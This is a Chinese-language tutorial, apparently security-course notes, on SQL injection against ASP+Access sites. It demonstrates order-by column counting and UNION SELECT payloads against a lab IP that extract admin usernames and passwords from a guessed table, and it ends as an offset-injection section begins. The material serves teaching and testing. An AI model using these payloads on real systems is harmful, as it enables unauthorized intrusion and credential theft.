#知识点:
1、脚本代码与数据库前置知识
2、Access数据库注入-简易&偏移
3、MYSQL数据库注入-简易&权限跨库
#前置知识:
-SQL注入漏洞产生原理分析
-SQL注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。
- #ASP+Access-简易注入-字典猜解
1 漏洞产生根本条件:可控变量 特定函数
2 http://192.168.227.140:80/Production/PRODUCT.asp
3 http://192.168.227.140:80/Production/PRODUCT.asp?id=1513
4 如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
5 http://192.168.227.140:80/Production/PRODUCT.asp?id=1513&page=1
6 http://192.168.227.140:80/Production/PRODUCT.asp?page=1&id=1513
7 Production/PRODUCT.asp?id=1513 注入语句&page=1 对
8 Production/PRODUCT.asp?id=1513&page=1 注入语句 错
9
10 SQL注入攻击流程:
11 1、猜测数据库类型
12 2、根据类型选择思路
13
14 ACCESS 独立存在
15 数据库名
16 表名
17 列名
18 数据
19
20 第一步查询表明,第二步查询列名
21
22 http://192.168.227.140:80/Production/PRODUCT_DETAIL.asp?id=1513%20order%20by%2022 正确
23 http://192.168.227.140:80/Production/PRODUCT_DETAIL.asp?id=1513%20order%20by%2023 错误
24
25 查询到22个字段,然后进行组合:
26 http://192.168.227.140:80/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
admin只能靠猜测才能得到,
admin字段跟password字段也只能靠猜测才能得到。
http://192.168.227.140:80/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。
-
#ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!